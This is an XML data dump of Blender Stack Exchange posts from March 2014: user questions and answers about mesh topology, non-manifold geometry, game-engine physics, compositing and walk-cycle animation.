  <row Id="7902" PostTypeId="2" ParentId="7901" CreationDate="2014-03-20T18:25:38.270" Score="2" Body="&lt;p&gt;I found a method that works to some extent, it is not perfect but I think it is the best that can be done with the topology.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the mesh&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;we will use this to create a seamless version&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the faces where the cutout for the seat is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this is the geometry that is causing the problem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5XAX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges at the ends of the hole and use the &lt;em&gt;Grid Fill&lt;/em&gt; tool, &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The grid fille we fill the hole with some nice polygons, these will not look distorted&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZrZk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a subdivision surface modifier to the mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKE3R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the mesh with the topology for the hole&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode select the faces at the hole and a few faces and around it as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58ekk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the faces to a vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LuPgP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a shrink wrap modifier to the mesh with the hole&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select as the &lt;em&gt;Target&lt;/em&gt; the mesh without the hole&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select as the &lt;em&gt;Vertex Group&lt;/em&gt; the vertex group we created in step 8&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbBBD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6Tr2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-20T18:25:38.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7903" PostTypeId="1" CreationDate="2014-03-20T18:27:46.910" Score="11" ViewCount="921" Body="&lt;p&gt;I am trying to setup some physical simulation in the BGE where it would be best if the the total energy of the system is conserved. However, if looks like I can't get the physics engine to keep the energy level even remotely constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render Settings: Toggled Use framerate&lt;/li&gt;&#xA;&lt;li&gt;World: Gravity set to 0, played around with the FPS and physics accuracy, sleep disabled.&lt;/li&gt;&#xA;&lt;li&gt;Dynamics: All Damping set to 0, tried 'rigid body' as well as 'dynamics'&lt;/li&gt;&#xA;&lt;li&gt;Material: Friction set to 0&lt;/li&gt;&#xA;&lt;li&gt;Material: Elasticity of Collision set to 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a test &lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/energeConservationTest.blend&quot;&gt;file&lt;/a&gt;: Layer 1 and 2 has two separate test scenes. There is a notable increase in the speed of all objects after each collision (as seen in the console window)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Or am I asking too much from a game-centric physics engine?&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-03-27T00:35:58.787" LastActivityDate="2017-09-11T19:30:54.083" Title="Game Engine does not conserve momentum" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7904" PostTypeId="1" AcceptedAnswerId="8087" CreationDate="2014-03-20T18:50:01.390" Score="18" ViewCount="8778" Body="&lt;p&gt;Is there a way to change text during an animation? Something like a readout that could show distance traveled. And have it displayed on the screen of the animation.&lt;/p&gt;&#xA;" OwnerUserId="2850" LastEditorUserId="3078" LastEditDate="2016-02-26T21:58:13.603" LastActivityDate="2017-09-20T08:27:36.907" Title="How can I make dynamic text in an animation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7905" PostTypeId="1" AcceptedAnswerId="7906" CreationDate="2014-03-20T19:33:51.177" Score="4" ViewCount="139" Body="&lt;p&gt;I made a physics simulator and have a pre-calculated data set of point positions for each time step.  Can I programmatically render each frame individually with the data, output to an image with blender and stitch it into a video (maybe blender does both steps), or maybe an animation controlled with a slider? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm trying to serve up the data visually via a web page.  Background servers already compiled the data.  I am either looking to have a server use blender to take the data and render to a video file, or send the data to the client through the page and use blender to render it on the fly on their machines while they use a slider to navigate the time steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need too many details right now, just a high level if it's possible before I jump headlong into it.  Any details on how would be icing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! :)&lt;/p&gt;&#xA;" OwnerDisplayName="user2852" LastActivityDate="2014-03-20T23:45:12.180" Title="Render from pre-calculated data set?" Tags="&lt;image&gt;&lt;video&gt;&lt;webgl&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7906" PostTypeId="2" ParentId="7905" CreationDate="2014-03-20T20:44:42.980" Score="3" Body="&lt;p&gt;It's definitely possible. You will want to look into Python scripting to accomplish this. The general workflow might look like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build a Blender scene that kind of resembles what you want.&lt;/li&gt;&#xA;&lt;li&gt;Write python script to ingest your data, and apply the data onto the scene you already built. Do you want your data to drive the location/position/size of objects? Or something more complicated?&lt;/li&gt;&#xA;&lt;li&gt;Render.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-20T20:44:42.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7907" PostTypeId="1" AcceptedAnswerId="7908" CreationDate="2014-03-20T21:32:21.263" Score="3" ViewCount="400" Body="&lt;p&gt;I am trying to very simply use the compositor, but keep running into the same problems over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried both in Cycles and Blender Internal, but to no avail.&#xA;When I move a sphere to a new layer, split the render layers into two, one with everything but the ball, and one with the ball, this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/HHePp86.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a black and flat circle with the blur in compositing.&#xA;In cycles I cannot even combine the two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/vUFiVc8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried following every tutorial out there, but it's still the same, leading me to think it's something to do with my blender setup.&lt;/p&gt;&#xA;" OwnerUserId="2854" LastEditorUserId="2217" LastEditDate="2014-05-07T13:56:23.607" LastActivityDate="2014-05-07T13:56:23.607" Title="Cannot combine results from different renderlayers?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7908" PostTypeId="2" ParentId="7907" CreationDate="2014-03-20T21:49:28.563" Score="3" Body="&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The reason the sphere is black is because the lamps are only on layer 1, but not on the sphere layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move objects to more than one layer at once by pressing &lt;kbd&gt;M&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; clicking on the layers on which you want to make the selected object(s) visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BWAA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Try enabling &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zk49n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-20T21:49:28.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7909" PostTypeId="2" ParentId="7905" CreationDate="2014-03-20T23:45:12.180" Score="0" Body="&lt;p&gt;One option is to run blender in the background (ie, without a gui). This lets it run as part of a shell script.  This would be good if you want to render it on the fly when a page is requested.  The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Command_Line&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; explains more options than I can give here.  Look at scripting under the render options.  It will give you the most flexibility.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-20T23:45:12.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7910" PostTypeId="1" AcceptedAnswerId="7914" CreationDate="2014-03-21T00:19:21.897" Score="92" ViewCount="137885" Body="&lt;p&gt;I am not quite sure what non-manifold geometry is. I thought non-manifold geometry was just floating vertices and hole in a mesh. From my experience this is not always the case however. What is non-manifold geometry and what are the types of it and how do I avoid it? Is there a case where it is acceptable?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2019-04-21T12:27:12.030" Title="What is non-manifold geometry?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="38" ContentLicense="CC BY-SA 3.0" />
  <row Id="7911" PostTypeId="1" AcceptedAnswerId="7939" CreationDate="2014-03-21T00:32:40.830" Score="5" ViewCount="13403" Body="&lt;p&gt;I want to use the difference boolean modifier to stamp in shapes on this lime. However it does not work for some of the characters. Only some of the radicals (pieces) are cut out. The picture shows one such example: the lower right J shaped piece is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the best way to approach this? The end result I am seeking is Chinese characters written on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cPVW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2856" LastActivityDate="2018-01-08T05:58:29.880" Title="Using difference modifier on two objects doesn't always work" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7912" PostTypeId="1" AcceptedAnswerId="8090" CreationDate="2014-03-21T00:53:14.017" Score="4" ViewCount="9801" Body="&lt;p&gt;I have what seems to be a fairly common problem (From what I've seen while searching) that I can't quite seem to solve. I'm trying to make a character walk down a street. This is the first proper walking animation I've attempted in Blender (Did a couple in 3DS Max and Maya years ago). I've created a walk cycle action called walk which repeats perfectly in place. I've also created a moveForward action which moves the character forward. This works fine with a Cyclic F-modifier as long as I keep the action as a keyframe animation, the character will keep walking down the street indefinitely. This is great for time saving but not so great for control and general animation. My problem comes as soon as I try to make it into a looping action that I can layer into another animation. The character will move through 1 loop and then jump back to his starting position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have the animation set up: bones animated for the walk cycle (walk action)&#xA;The whole armature object moved forward (keeping the supporting foot in place - as per Jjannaway3D's Sintel Walk Cycle Youtube videos) for the moveForward action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My biggest problem with following that tutorial exactly is that he duplicates the forward motion keys for every loop, however my animation is 90% walking for 2 min 30 punctuated for a few seconds here and there by other actions that need smooth transitioning, which would be better served by layering actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked, on and off, for a couple of days and the best answer I could find was from this question &lt;a href=&quot;https://blender.stackexchange.com/questions/3736/how-should-an-animated-character-be-moved-while-repeating-a-walk-cycle&quot;&gt;How should an animated character be moved while repeating a walk cycle?&lt;/a&gt; (basically the same problem) but it doesn't appear to work for my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The walk cycle is 27 frames long. I've taken a snapshot of my Blend file setup on frame 28, once using just a the Cyclic F-modifier and once using the same animation as a repeating action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQFvT.png&quot; alt=&quot;Frame 28 - Keyframes only - Character is continuing forward&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntNwA.png&quot; alt=&quot;Frame 28 - Repeating action - Character snaps back to origin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you might be able to tell, in the 2nd image the character has snapped back to origin 1 frame after the first animation loop. I'm sure there's a simple solution but I can't seem to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Updated to reflect Phip's suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New set up: same armature + root bone parenting pelvis and IK targets&#xA;Walk action: same as before&#xA;Forward action: moves the root bone forward, keeping the supporting foot in place to prevent slipping. First and last frames are set to linear interpolation and the forward action is F-modifier'd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload my blend file somewhere if that'd help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gTOnv.png&quot; alt=&quot;Still slipping&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1714" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2020-01-12T04:48:07.357" Title="Looping walk cycle animation snaps back on repeat" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7913" PostTypeId="2" ParentId="7889" CreationDate="2014-03-21T00:55:05.857" Score="49" Body="&lt;p&gt;To unwrap UV's, you mark any seams you want, select the faces you want to unwrap, press &lt;kbd&gt;U&lt;/kbd&gt; and select one of the unwrap options while in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only selected faces (or those surrounded by selected vertices/edges) will be unwrapped. Only selected faces will show up in the UV editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also UV's aren't displayed in the UV/image editor if the Render Result is displayed in the UV/Image Editor. You need to select an image or click the X to close the render result to see UV's.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-21T00:55:05.857" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7914" PostTypeId="2" ParentId="7910" CreationDate="2014-03-21T01:05:04.410" Score="100" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Manifold&quot; rel=&quot;noreferrer&quot;&gt;Non-manifold&lt;/a&gt; geometry is essentially geometry which cannot exist in the real world (which is why it's important to have manifold meshes for 3D printing).&lt;/p&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/7910/what-is-non-manifold-geometry#comment50173_7914&quot;&gt;JulianHzg points out in the comments&lt;/a&gt;, &lt;em&gt;intersecting geometry&lt;/em&gt; (faces sticking through other faces) is not technically non-manifold geometry on it's own. However it will often cause the same issues as non-manifold geometry, i.e. confused volume calculations.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Non-manifold geometry can be problematic, because it complicates some tools &amp;amp; operations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Rendering of refractive effects&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fluid simulations&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Boolean operations&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3D printing&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Among many other cases.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You might want non-manifold geometry in some kind abstract model (as non-manifold geometry cannot exist in the real world), or as an approximation of a &lt;em&gt;very&lt;/em&gt; thin object (e.g. paper, leaves, etc.)&lt;/p&gt;&#xA;&lt;h1&gt;Common causes of non-manifold geometry:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Disconnected vertices and edges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xlpHr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Internal faces:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58k1h.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Areas with no thickness:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0f0qp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Fixing non-manifold geometry:&lt;/h1&gt;&#xA;&lt;p&gt;You can select all non-manifold geometry with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Internal faces can be selected by pressing &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; Internal Faces&lt;/em&gt; in edit mode.&lt;/p&gt;&#xA;&lt;p&gt;Loose geometry (elements without any other connecting elements) can be selected with &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; Loose geometry&lt;/em&gt;. Note that it only selects vertices, edges, and faces depending on the current selection mode.&lt;/p&gt;&#xA;&lt;p&gt;Other useful tools for repairing non-manifold geometry:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; (&lt;em&gt;Select Similar&lt;/em&gt;). This is often useful to select vertices with only one connecting edge, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; (&lt;em&gt;Select Linked&lt;/em&gt;). This is often useful in combination with &lt;em&gt;Select loose&lt;/em&gt; and &lt;em&gt;Select similar&lt;/em&gt; to select all geometry connected to the selected geometry.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Specials &amp;gt; Remove doubles&lt;/em&gt; Doubles, (multiple vertices in the same place) are usually non-manifold (not always).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Since a common cause of non-manifold geometry is &lt;em&gt;lack of thickness&lt;/em&gt;, the solidify modifier can also be useful.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-11T06:25:10.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7915" PostTypeId="1" CreationDate="2014-03-19T08:26:59.300" Score="4" ViewCount="2042" Body="&lt;p&gt;I'm trying to create a cycles lamp shader that only lights up the diffuse component of the materials around it. Kinda like having its Glossy component turned off in the Ray Visibility box under the object tab. But it is not working. I seem to be missing something quite basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQFUo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the material is reflecting sharply (with roughness turned down to zero), the node setup works. But with blurry reflections, it stops working. What is it that I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2896" OwnerDisplayName="user3436596" LastEditorUserId="1476" LastEditDate="2014-03-21T12:02:25.823" LastActivityDate="2014-05-17T23:43:32.073" Title="Blender Cycles: Diffuse only lamp" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7916" PostTypeId="2" ParentId="7910" CreationDate="2014-03-21T01:42:17.947" Score="23" Body="&lt;h2&gt;&lt;strong&gt;How To Find Non Manifold Areas in a Mesh&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While in Edit mode, you can select all non manifold areas with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Overlapping Edges&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One type of non manifold situation is when you have overlapping edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd frequently have a mesh that'd look fine, like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HtKtM.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then when I checked for non manifolds, I would get an edge highlighted like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gniVk.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered the reason this edge was highlighted was because there were overlapping edges.&lt;br&gt;&#xA;The way to find the overlapping edges is to grab one of the middle vertices in the highlighted area (circled in green), drag it around and see if you discover a hidden edge, like the white one here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYRuR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you find that edge, delete it, then put the dragged vertex back into place. One trick I discovered about how to put the vertex back into place easily is when you are first dragging it out out of place, only drag it on one axis, rather than freely in 3, because then you only have to snap it back to that one axis, rather than 3.   &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-21T14:58:05.137" LastActivityDate="2014-03-21T14:58:05.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7917" PostTypeId="1" AcceptedAnswerId="7927" CreationDate="2014-03-21T01:59:50.637" Score="2" ViewCount="95" Body="&lt;p&gt;I would like to adjust the camera view, so I press the &lt;kbd&gt;Ctrk&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; to switch to the camera view window, then I try to adjust the camera window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/upBjx.png&quot; alt=&quot;this is the screen shot before I try to adjust the camera view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I press the &lt;kbd&gt;G&lt;/kbd&gt; key, and try to move the view window up or down, but finally, I see that all the objects were moved, not the camera view itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lb5Ry.png&quot; alt=&quot;all the objects were moved and they get separated&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: I have just tried a very simple blender file (which only contains the default Cube, and I can correctly move the camera view), so are there some settings wrong in my first case? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;a href=&quot;http://pan.baidu.com/s/1c0xN6Ru&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;DH2a.blender&quot;&gt;test blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2722" LastEditorUserId="1363" LastEditDate="2014-03-21T11:28:34.507" LastActivityDate="2014-03-21T12:03:08.093" Title="Adjust the camera view actually separate all my objects" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-03-22T18:18:43.087" ContentLicense="CC BY-SA 3.0" />
  <row Id="7918" PostTypeId="1" AcceptedAnswerId="7926" CreationDate="2014-03-21T03:26:54.180" Score="8" ViewCount="4711" Body="&lt;p&gt;I use Blender 2.69. When I create a closed curve (for example, a circle) and make it 2D with the properties editor, it becomes filled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I work with backface culling on (because of the application of the objects I make), only one of the sides is visible. In the case of a just created circle or a figure imported from SVG, it's the bottom side. In the latter case, it is especially annoying, because the figure appears mirrored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to flip the face (similar to flipping the normal for a mesh face) so that it shows on the opposite side of the curve?&lt;/p&gt;&#xA;" OwnerUserId="2857" LastEditorUserId="2857" LastEditDate="2019-05-12T12:48:17.607" LastActivityDate="2019-05-12T12:48:17.607" Title="How to flip the face of a closed 2D curve (similar to normal flip for mesh)?" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7919" PostTypeId="1" AcceptedAnswerId="7952" CreationDate="2014-03-21T03:35:01.930" Score="12" ViewCount="7433" Body="&lt;p&gt;I am in the middle of a project which needs to have a river flowing in it. (You may be familiar with my recent questions; they are all related.)&#xA;Just for reference and imagination, here's a preview of the setting where the river should go.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aFLHQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, what I need to accomplish is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) something like an &quot;ever-flowing river&quot;. It shouldn't start flowing from some point and expand from there. The final render (it is for a video) should be continuous and seamless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) a &quot;caged&quot; river. You should see it flowing as if we took a slice of it, (just like with the rest of the terrain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking for tutorials, but the ones I've found tend to cover typical fluid simulations, which I'm not so sure can help me. I think I may need something more simple. Something like a cloth waving (for now it doesn't need to be realistic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into &lt;a href=&quot;http://vimeo.com/69154921&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;, and I was hoping for some hints on how the creator did that, because I don't understand... I can tell he used code... Maybe some of you can give me a kind introduction to code in Blender aiming to generate this kind of river.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested by now in making something as realistic or detailed as the video, but it happens to fits my 2 initial requirements.&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="5426" LastEditDate="2016-12-31T19:23:20.483" LastActivityDate="2016-12-31T19:23:20.483" Title="River simulation - different approaches than fluid simulation?" Tags="&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
